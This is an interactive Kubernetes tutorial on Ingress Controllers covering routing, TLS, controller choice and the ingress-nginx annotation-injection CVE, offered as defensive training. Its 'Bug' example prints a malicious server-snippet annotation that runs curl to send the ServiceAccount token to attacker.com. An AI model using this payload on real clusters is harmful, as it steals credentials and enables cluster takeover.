Interactive Explainer

Relevant for:Mid-levelSeniorStaff

Why this matters at your level

Mid-level

Know how to write Ingress rules for path-based and host-based routing. Understand TLS termination at the Ingress Controller.

Senior

Choose between Ingress controllers (NGINX, Traefik, HAProxy, AWS ALB). Understand rate limiting, authentication middleware, and the security implications of annotation-based configuration.

Staff

Architect multi-tenant ingress: separate controllers per tenant, annotation validation admission webhooks, Gateway API migration path, and least-privilege ServiceAccount design for ingress controllers.

Ingress Controllers: L7 Routing at the Cluster Edge

Ingress resources define HTTP routing rules. Ingress Controllers implement them. NGINX is the most common -- but its annotation system has enabled critical CVEs that allow privilege escalation from pod to cluster admin.

~3 min read

Be the first to complete!

LIVECVE-2021-25742 -- NGINX Ingress Controller -- Annotation Injection -- October 2021

Breaking News

T+0

CVE-2021-25742 published: arbitrary NGINX config injection via Ingress annotations

T+2h

Proof-of-concept published: server-snippet annotation injects lua_package_path pointing to attacker-controlled server

T+4h

Community identifies that default Helm install grants ingress-nginx ServiceAccount cluster-admin

T+1w

ingress-nginx 1.0.5 released with --enable-annotation-validation flag to block snippet annotations

T+3w

Majority of clusters remain unpatched; attacker tooling for the CVE published on GitHub

—High severity CVE

—Default ServiceAccount permission in official Helm chart

—Required to escalate to cluster admin

The question this raises

How does a single Ingress annotation lead to cluster-admin token exfiltration, and what architectural boundaries prevent this class of attack?

Test your assumption first

You create an Ingress resource with a host rule and path, but traffic is not being routed. kubectl get ingress shows ADDRESS is empty. What is most likely missing?

Lesson outline

What Ingress Controllers Solve

The L7 Routing Problem

LoadBalancer Services cost money -- each creates a cloud load balancer. For 20 microservices, that is 20 LBs. Ingress solves this with a single entry point: one cloud LB for the Ingress Controller, then HTTP-level routing by hostname and path to any number of backend Services.

Path-based routing

Use for: example.com/api -> api-service, example.com/app -> frontend-service. Single domain, multiple backends split by URL prefix. Most common pattern for monorepo deployments.

Host-based routing

Use for: api.example.com -> api-service, app.example.com -> frontend-service. Multiple subdomains pointing to one Ingress Controller. Used for multi-tenant SaaS or microservice domains.

TLS termination

Use for: Ingress Controller handles HTTPS, forwards plain HTTP to backends. cert-manager automates certificate lifecycle. Backends stay simple -- no TLS code required in application code.

The System View

Internet
    |
    v
Cloud Load Balancer (one per cluster, or per IngressClass)
    |
    v
ingress-nginx Deployment (pod on cluster node)
    |  watches Ingress objects via kube-apiserver
    |  generates nginx.conf dynamically
    |  nginx -s reload on every Ingress change (!)
    |
    +--[host: api.example.com / path: /]--> api-service:80
    +--[host: api.example.com / path: /admin]--> admin-service:8080
    +--[host: app.example.com]--> frontend-service:3000
    +--[TLS termination]--> cert-manager Secret: api-example-com-tls

Ingress resource (config only -- no traffic without controller):
  rules:
  - host: api.example.com
    http:
      paths:
      - path: /
        backend: api-service:80

Ingress resource is a config spec; Ingress Controller implements it by reconfiguring the proxy

Ingress Controller Security Posture

Situation

Before

After

Default ingress-nginx Helm install

“ServiceAccount bound to ClusterRole with cluster-admin -- annotation injection can exfiltrate this token for full cluster access”

“Minimal RBAC: read Ingresses/Secrets in own namespace only; --enable-annotation-validation blocks snippet annotations”

NGINX with high Ingress churn (many deploys per day)

“nginx -s reload on every Ingress change drops in-flight connections; at 100 deploys/day, frequent micro-outages”

“Migrate to Envoy/Traefik with dynamic config API (no reload); or batch Ingress changes with annotation-based pause”

How Ingress Routing Works

From Ingress resource to routed traffic

→

1. kubectl apply ingress.yaml -- API server stores Ingress object

→

2. Ingress Controller watches Ingress objects; detects new/changed resource

→

3. Controller validates rules (host, path, backend Service exists)

→

4. Controller generates proxy config (nginx.conf, Traefik config) and applies it

→

5. For NGINX: nginx -s reload -- brief connection interruption

→

6. DNS for the host points to the cloud LB IP (Ingress ADDRESS field)

7. Incoming request -> cloud LB -> controller pod -> proxy matches host+path -> backend Service -> pod

1. kubectl apply ingress.yaml -- API server stores Ingress object

2. Ingress Controller watches Ingress objects; detects new/changed resource

3. Controller validates rules (host, path, backend Service exists)

4. Controller generates proxy config (nginx.conf, Traefik config) and applies it

5. For NGINX: nginx -s reload -- brief connection interruption

6. DNS for the host points to the cloud LB IP (Ingress ADDRESS field)

7. Incoming request -> cloud LB -> controller pod -> proxy matches host+path -> backend Service -> pod

ingress-secure.yaml

1apiVersion: networking.k8s.io/v1
2kind: Ingress
3metadata:
4  name: api-ingress
5  annotations:
6    cert-manager.io/cluster-issuer: letsencrypt-prod
cert-manager annotation: automatically provisions and renews Let's Encrypt cert
7    nginx.ingress.kubernetes.io/rate-limit: "100"
8    # DO NOT use server-snippet -- CVE-2021-25742
server-snippet annotation is disabled by --enable-annotation-validation (patch for CVE-2021-25742)
9spec:
10  ingressClassName: nginx
11  tls:
12  - hosts:
13    - api.example.com
14    secretName: api-tls-cert     # cert-manager creates this
15  rules:
16  - host: api.example.com
17    http:
18      paths:
19      - path: /
20        pathType: Prefix
21        backend:
22          service:
23            name: api-service
24            port:
25              number: 80

What Breaks in Production: Blast Radius

Ingress Controller failure modes

Empty ADDRESS / no routing — No Ingress Controller running, or ingressClassName mismatch. Ingress object exists but traffic is never routed. Check kubectl get ingressclass and verify controller pods are Running.
NGINX reload drops connections — nginx -s reload is not zero-downtime. In-flight requests at reload time get connection reset. Frequent Ingress changes (CD pipeline) cause a stream of micro-outages. Mitigate with Traefik/Envoy or minimize reload frequency.
Wildcard TLS cert not matching — cert: *.example.com does not match sub.sub.example.com (only one level). All HTTPS traffic to second-level subdomains gets TLS certificate errors. Use separate certs per subdomain for nested domains.
ClusterRole with cluster-admin — Default ingress-nginx Helm install grants cluster-admin to the controller ServiceAccount. CVE-2021-25742 annotation injection can exfiltrate this token. Always scope controller RBAC to minimum required namespaces and resources.

ingress-nginx with cluster-admin ServiceAccount -- CVE-2021-25742 blast radius

Bug

# Helm values (default -- dangerous)
rbac:
  create: true
  # creates ClusterRole with cluster-admin
  # ingress-nginx SA can read ALL secrets cluster-wide

# Malicious Ingress by tenant with namespace permissions:
annotations:
  nginx.ingress.kubernetes.io/server-snippet: |
    location /steal {
      content_by_lua_block {
        os.execute("curl -s http://attacker.com/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)")
      }
    }

Fix

# Helm values (hardened)
rbac:
  create: true
controller:
  extraArgs:
    enable-annotation-validation: "true"  # blocks server-snippet
  scope:
    enabled: true    # watch only specific namespaces
    namespace: ingress-nginx

# RBAC: controller SA gets only Ingress/Secret read in own namespace
# server-snippet annotations rejected at admission

Scope the controller to specific namespaces and enable annotation validation. This eliminates the cluster-admin token exfiltration path and blocks snippet injection entirely.

Decision Guide: Ingress Controller Selection

Do you need dynamic config updates without connection drops?

YesTraefik or Envoy/Contour (no reload required)

NoNGINX Ingress is mature and widely supported

Are you running on AWS and want native ALB integration?

YesAWS Load Balancer Controller (ALB Ingress) -- native WAF and ACM cert integration

NoCloud-agnostic controller (NGINX, Traefik) for portability

Do you need advanced traffic management (canary, circuit breaker, retries)?

YesConsider Gateway API with Envoy/Istio -- Ingress is too limited for complex routing

NoStandard Ingress is sufficient for basic path/host routing and TLS

Cost and Complexity: Ingress Controller Comparison

Controller	Reload behavior	Advanced routing	Security posture	Maturity
NGINX Ingress	Reload on change (drops connections)	Limited (annotations)	Annotation injection CVE history	Very mature, large community
Traefik	Dynamic (no reload)	Good (middleware)	Better default RBAC	Mature
Envoy/Contour	Dynamic (xDS API)	Excellent	Best (xDS, no annotations)	Mature
AWS ALB Controller	Cloud-managed	Good (ALB rules)	IAM-integrated	AWS-specific
Gateway API	Controller-dependent	Best (designed for it)	Role-based separation	Stable in K8s 1.28+

Exam Answer vs. Production Reality

1 / 3

Ingress vs Service

📖 What the exam expects

A Service exposes pods at L4 (TCP/UDP). An Ingress exposes HTTP/HTTPS at L7 with path-based routing, host-based routing, and TLS termination.

Toggle between what certifications teach and what production actually requires

How this might come up in interviews

Architecture questions about exposing multiple services externally, security questions about ingress controller permissions, and operational questions about TLS management.

Common questions:

What is the difference between an Ingress resource and an Ingress Controller?
How would you route traffic to different services based on URL path?
What are the security risks of using NGINX Ingress Controller with default permissions?
How does cert-manager integrate with Ingress for automatic TLS?

Strong answer: Mentions Gateway API as the next-generation replacement for Ingress, cert-manager for automated TLS, and annotation validation to prevent snippet injection.

Red flags: Thinking an Ingress resource works without a controller, or installing ingress-nginx with cluster-admin permissions without understanding the security implications.

Related concepts

Explore topics that connect to this one.

Ready to see how this works in the cloud?

Switch to Career Paths for structured paths (e.g. Developer, DevOps) and provider-specific lessons.

View role-based paths

Discussion

Questions? Discuss in the community or start a thread below.

Join Discord

In-app Q&A